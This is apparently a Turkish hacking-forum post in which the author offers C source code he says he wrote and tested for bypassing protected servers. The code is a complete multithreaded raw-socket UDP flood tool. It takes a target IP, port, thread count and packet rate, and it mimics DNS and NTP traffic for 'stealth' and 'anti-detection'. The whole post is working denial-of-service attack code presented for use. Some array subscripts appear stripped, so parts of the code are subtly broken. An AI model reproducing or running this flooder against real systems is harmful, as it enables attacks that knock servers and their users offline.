İyi günler bu scripti kendim yapdım ve test ettim protectli serverleri kolayca atlatıyorsunuz. Kod aşağıda iyi forumlar dilerim.
C:
#include <unistd.h>
#include <stdint.h>
#include <sys/time.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <pthread.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netdb.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <errno.h>
#include <signal.h>
#include <sys/random.h>
#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9
#define MAX_THREADS 1000
#define MAX_PAYLOAD_SIZE 1400
#define RANDOM_PAYLOAD_COUNT 200
static unsigned long int Q[4096], c = 362436;
static unsigned int floodPort;
static unsigned int packetsPerSecond;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
static volatile unsigned int target_pps;
static volatile int rate_limit_enabled = 0;
static volatile int stealth_mode = 0;
static volatile int anti_detection = 0;
static volatile unsigned long total_packets = 0;
static volatile unsigned long total_bytes = 0;
const char *stealth_patterns[] = {
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF",
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F\x10",
"\x10\x0F\x0E\x0D\x0C\x0B\x0A\x09\x08\x07\x06\x05\x04\x03\x02\x01",
"\xAA\x55\xAA\x55\xAA\x55\xAA\x55\xAA\x55\xAA\x55\xAA\x55\xAA\x55",
"\x55\xAA\x55\xAA\x55\xAA\x55\xAA\x55\xAA\x55\xAA\x55\xAA\x55\xAA",
"\x33\xCC\x33\xCC\x33\xCC\x33\xCC\x33\xCC\x33\xCC\x33\xCC\x33\xCC",
"\xCC\x33\xCC\x33\xCC\x33\xCC\x33\xCC\x33\xCC\x33\xCC\x33\xCC\x33",
"\x12\x34\x56\x78\x9A\xBC\xDE\xF0\x12\x34\x56\x78\x9A\xBC\xDE\xF0",
"\x0F\x0E\x0D\x0C\x0B\x0A\x09\x08\x07\x06\x05\x04\x03\x02\x01\x00",
"\x80\x40\x20\x10\x08\x04\x02\x01\x80\x40\x20\x10\x08\x04\x02\x01",
"\x01\x02\x04\x08\x10\x20\x40\x80\x01\x02\x04\x08\x10\x20\x40\x80",
"\xFE\xFD\xFC\xFB\xFA\xF9\xF8\xF7\xF6\xF5\xF4\xF3\xF2\xF1\xF0\xEF",
"\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE",
"\x11\x22\x33\x44\x55\x66\x77\x88\x99\xAA\xBB\xCC\xDD\xEE\xFF\x00",
"\x00\xFF\xEE\xDD\xCC\xBB\xAA\x99\x88\x77\x66\x55\x44\x33\x22\x11",
"\x7F\x7E\x7D\x7C\x7B\x7A\x79\x78\x77\x76\x75\x74\x73\x72\x71\x70",
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x7B\x7C\x7D\x7E\x7F",
"\x1A\x2B\x3C\x4D\x5E\x6F\x80\x91\xA2\xB3\xC4\xD5\xE6\xF7\x08\x19",
"\x19\x08\xF7\xE6\xD5\xC4\xB3\xA2\x91\x80\x6F\x5E\x4D\x3C\x2B\x1A",
NULL
};
const char *dns_like_patterns[] = {
"\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00", // DNS Query
"\x00\x02\x81\x80\x00\x01\x00\x00\x00\x00\x00\x00", // DNS Response
"\x00\x03\x81\x80\x00\x01\x00\x00\x00\x00\x00\x00", // DNS Response
"\x00\x04\x81\x80\x00\x01\x00\x00\x00\x00\x00\x00", // DNS Response
"\x00\x05\x81\x80\x00\x01\x00\x00\x00\x00\x00\x00", // DNS Response
NULL
};
const char *ntp_like_patterns[] = {
"\x1B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", // NTP Request
"\x1C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", // NTP Response
"\x1D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", // NTP Response
"\x1E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", // NTP Response
"\x1F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", // NTP Response
NULL
};
const char *random_patterns[] = {
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50", // ABCDEFGHIJKLMNOP
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66", // QRSTUVWXYZabcdef
"\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76", // ghijklmnopqrstuv
"\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x40\x23", // wxyz0123456789@#
"\x24\x25\x26\x2A\x2B\x2C\x2D\x2E\x2F\x3A\x3B\x3C\x3D\x3E\x3F\x5B", // $%&*+,-./:;<=>?[
"\x5C\x5D\x5E\x5F\x60\x7B\x7C\x7D\x7E\x21\x22\x27\x28\x29\x2B\x2D", // \]^_`{|}~!"'()*-
NULL
};
typedef struct {
char *target_ip;
uint16_t base_port;
int thread_id;
volatile int *running;
} thread_data_t;
void init_enhanced_rand(unsigned long int x) {
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++) {
Q = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
}
unsigned long int rand_cmwc_enhanced(void) {
unsigned long long int t, a = 18782LL;
static unsigned long int i = 1;
unsigned long int x, r = 0xfffffffe;
i = (i + 1) & 1;
t = a * Q + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q = r - x);
}
struct pseudo_header {
uint32_t source_address;
uint32_t dest_address;
uint8_t placeholder;
uint8_t protocol;
uint16_t tcp_length;
};
uint32_t get_random_spoof_ip(void) {
uint32_t ip;
if (getrandom(&ip, sizeof(ip), 0) == sizeof(ip)) {
return ip;
}
return htonl(0x7F000001 + (rand() % 0x10000));
}
unsigned short csum_enhanced(unsigned short *ptr, int nbytes) {
register long sum;
unsigned short oddbyte;
register short answer;
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1) {
oddbyte = 0;
*((unsigned char *)&oddbyte) = *(unsigned char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
answer = (short)~sum;
return (answer);
}
uint32_t get_local_ip_enhanced(void) {
int fd;
struct sockaddr_in addr;
socklen_t addr_len = sizeof(addr);
if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
return INADDR_ANY;
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("8.8.8.8");
addr.sin_port = htons(53);
connect(fd, (struct sockaddr *)&addr, sizeof(addr));
getsockname(fd, (struct sockaddr *)&addr, &addr_len);
close(fd);
return addr.sin_addr.s_addr;
}
char *gen_udp_payload(int *length, int pattern_type) {
static char payload[MAX_PAYLOAD_SIZE];
const char *pattern;
int pattern_len;
if (pattern_type == 0) { // Stealth patterns
int pattern_count = 0;
while (stealth_patterns[pattern_count] != NULL) pattern_count++;
pattern = stealth_patterns[rand() % pattern_count];
pattern_len = 16;
} else if (pattern_type == 1) { // DNS-like patterns
int pattern_count = 0;
while (dns_like_patterns[pattern_count] != NULL) pattern_count++;
pattern = dns_like_patterns[rand() % pattern_count];
pattern_len = 12;
} else if (pattern_type == 2) { // NTP-like patterns
int pattern_count = 0;
while (ntp_like_patterns[pattern_count] != NULL) pattern_count++;
pattern = ntp_like_patterns[rand() % pattern_count];
pattern_len = 16;
} else { // Random patterns
int pattern_count = 0;
while (random_patterns[pattern_count] != NULL) pattern_count++;
pattern = random_patterns[rand() % pattern_count];
pattern_len = 16;
}
int total_len = MAX_PAYLOAD_SIZE;
for (int i = 0; i < total_len; i++) {
payload = pattern[i % pattern_len];
}
*length = total_len;
return payload;
}
int send_udp_enhanced(int s, uint32_t saddr, uint32_t daddr, uint16_t sport, uint16_t dport,
char *payload, int payload_len) {
char datagram[MAX_PACKET_SIZE];
struct iphdr *ipHeader = (struct iphdr *)datagram;
struct udphdr *udpHeader = (void *)ipHeader + sizeof(struct iphdr);
memset(datagram, 0, MAX_PACKET_SIZE);
udpHeader->source = htons(sport);
udpHeader->dest = htons(dport);
udpHeader->len = htons(sizeof(struct udphdr) + payload_len);
udpHeader->check = 0;
if (payload_len > 0) {
memcpy(datagram + sizeof(struct iphdr) + sizeof(struct udphdr), payload, payload_len);
}
ipHeader->ihl = 5;
ipHeader->version = 4;
ipHeader->tos = rand() % 8;
ipHeader->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + payload_len);
ipHeader->id = htons(rand() % 0xFFFF);
ipHeader->frag_off = 0;
ipHeader->ttl = 64 + (rand() % 32);
ipHeader->protocol = IPPROTO_UDP;
ipHeader->check = 0;
ipHeader->saddr = saddr;
ipHeader->daddr = daddr;
ipHeader->check = csum_enhanced((unsigned short *)ipHeader, sizeof(struct iphdr));
struct pseudo_header psh;
psh.source_address = ipHeader->saddr;
psh.dest_address = ipHeader->daddr;
psh.placeholder = 0;
psh.protocol = IPPROTO_UDP;
psh.tcp_length = htons(sizeof(struct udphdr) + payload_len);
int psize = sizeof(struct pseudo_header) + sizeof(struct udphdr) + payload_len;
char *pseudogram = malloc(psize);
memcpy(pseudogram, (char *)&psh, sizeof(struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header), udpHeader, sizeof(struct udphdr) + payload_len);
udpHeader->check = csum_enhanced((unsigned short *)pseudogram, psize);
free(pseudogram);
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(dport);
sin.sin_addr.s_addr = daddr;
int sent = sendto(s, datagram, ntohs(ipHeader->tot_len), 0, (struct sockaddr *)&sin, sizeof(sin));
return sent;
}
void *udp_flood_thread(void *arg) {
thread_data_t *data = (thread_data_t *)arg;
char *target_ip = data->target_ip;
uint16_t base_port = data->base_port;
int thread_id = data->thread_id;
volatile int *running = data->running;
uint32_t local_ip = get_local_ip_enhanced();
uint32_t target_addr = inet_addr(target_ip);
int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if (s < 0) {
perror("socket");
return NULL;
}
int tmp = 1;
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof(tmp)) < 0) {
perror("setsockopt");
close(s);
return NULL;
}
int flags = fcntl(s, F_GETFL, 0);
fcntl(s, F_SETFL, flags | O_NONBLOCK);
init_enhanced_rand(time(NULL) + pthread_self() + thread_id);
unsigned long packet_delay_ns = 0;
if (rate_limit_enabled && target_pps > 0) {
packet_delay_ns = 1000000000UL / target_pps;
}
int connection_count = 0;
int max_connections = 100 + (rand() % 200);
while (*running) {
pthread_testcancel();
uint16_t sport = base_port + (rand() % 50000) + 1024;
int payload_len;
char *payload;
int payload_type = rand() % 4;
payload = gen_udp_payload(&payload_len, payload_type);
send_udp_enhanced(s, local_ip, target_addr, sport, floodPort, payload, payload_len);
if (rand() % 2 == 0) {
send_udp_enhanced(s, local_ip, target_addr, sport, floodPort, payload, payload_len);
}
if (rand() % 3 == 0) {
send_udp_enhanced(s, local_ip, target_addr, sport, floodPort, payload, payload_len);
}
pps++;
total_packets++;
total_bytes += payload_len;
if (packet_delay_ns > 0) {
struct timespec delay = {0, packet_delay_ns};
nanosleep(&delay, NULL);
}
if (rand() % 100 == 0) {
usleep(1000 + (rand() % 5000));
}
connection_count++;
if (connection_count > max_connections) {
connection_count = 0;
usleep(10000 + (rand() % 50000));
}
}
close(s);
return NULL;
}
volatile int running = 1;
void signal_handler(int sig) {
running = 0;
printf("\n[!] Shutting down gracefully...\n");
}
int main(int argc, char *argv[]) {
if (argc < 6) {
printf("🔥 UDP BYPASS ENHANCED BY Essenruh 🔥\n");
printf("Usage: %s <target IP> <port> <threads> <pps> <duration> [stealth] [anti-detection]\n", argv[0]);
printf("Example: %s 192.168.1.1 80 100 1000 60 1 1\n", argv[0]);
printf("\nOptions:\n");
printf(" stealth: 1 for stealth mode, 0 for normal\n");
printf(" anti-detection: 1 for anti-detection, 0 for normal\n");
printf("\n🔥 UDP FEATURES:\n");
printf(" - Up to 1000 threads\n");
printf(" - Multiple payload types (Stealth, DNS, NTP, Random)\n");
printf(" - Random source ports\n");
printf(" - Enhanced bypass techniques\n");
printf(" - Real-time statistics\n");
exit(-1);
}
if (geteuid() != 0) {
printf("❌ Root privileges required! Run as root!\n");
exit(-1);
}
int numThreads = atoi(argv[3]);
floodPort = atoi(argv[2]);
int duration = atoi(argv[5]);
int maxpps = atoi(argv[4]);
if (argc > 6) stealth_mode = atoi(argv[6]);
if (argc > 7) anti_detection = atoi(argv[7]);
if (numThreads > MAX_THREADS) {
printf("❌ Maximum %d threads allowed!\n", MAX_THREADS);
exit(-1);
}
target_pps = maxpps / numThreads;
rate_limit_enabled = 1;
limiter = 100;
sleeptime = 100;
pps = 0;
signal(SIGINT, signal_handler);
signal(SIGTERM, signal_handler);
printf("🚀 Starting UDP Bypass Enhanced Attack!\n");
printf("🎯 Target: %s:%d\n", argv[1], floodPort);
printf("🧵 Threads: %d\n", numThreads);
printf("⚡ PPS: %d\n", maxpps);
printf("⏱️ Duration: %d seconds\n", duration);
printf("🥷 Stealth Mode: %s\n", stealth_mode ? "ON" : "OFF");
printf("🛡️ Anti-Detection: %s\n", anti_detection ? "ON" : "OFF");
printf("🔥 Let's fuck some shit up with UDP! 🔥\n\n");
pthread_t thread[MAX_THREADS];
thread_data_t thread_data[MAX_THREADS];
srand(time(NULL));
init_enhanced_rand(time(NULL));
for (int i = 0; i < numThreads; i++) {
thread_data.target_ip = argv[1];
thread_data.base_port = 49152 + (i * 1000);
thread_data.thread_id = i;
thread_data.running = &running;
if (pthread_create(&thread, NULL, &udp_flood_thread, (void *)&thread_data) != 0) {
perror("pthread_create");
exit(-1);
}
}
int multiplier = 20;
for (int i = 0; i < (duration * multiplier) && running; i++) {
usleep((1000 / multiplier) * 1000);
if (i % multiplier == 0) {
printf("📊 PPS: %d | Threads: %d | Time: %ds | Total Packets: %lu | Total Bytes: %lu MB\r",
pps, numThreads, i / multiplier, total_packets, total_bytes / (1024*1024));
fflush(stdout);
pps = 0;
}
}
running = 0;
printf("\n\n✅ UDP Attack completed! All threads stopped.\n");
printf("📊 FINAL STATS:\n");
printf(" Total Packets Sent: %lu\n", total_packets);
printf(" Total Bytes Sent: %lu MB\n", total_bytes / (1024*1024));
printf(" Average PPS: %lu\n", total_packets / duration);
printf(" Average BPS: %lu MB/s\n", (total_bytes / (1024*1024)) / duration);
printf("🔥 MISSION ACCOMPLISHED! 🔥\n");
for (int i = 0; i < numThreads; i++) {
pthread_join(thread, NULL);
}
return 0;
}
Moderatör tarafında düzenlendi:
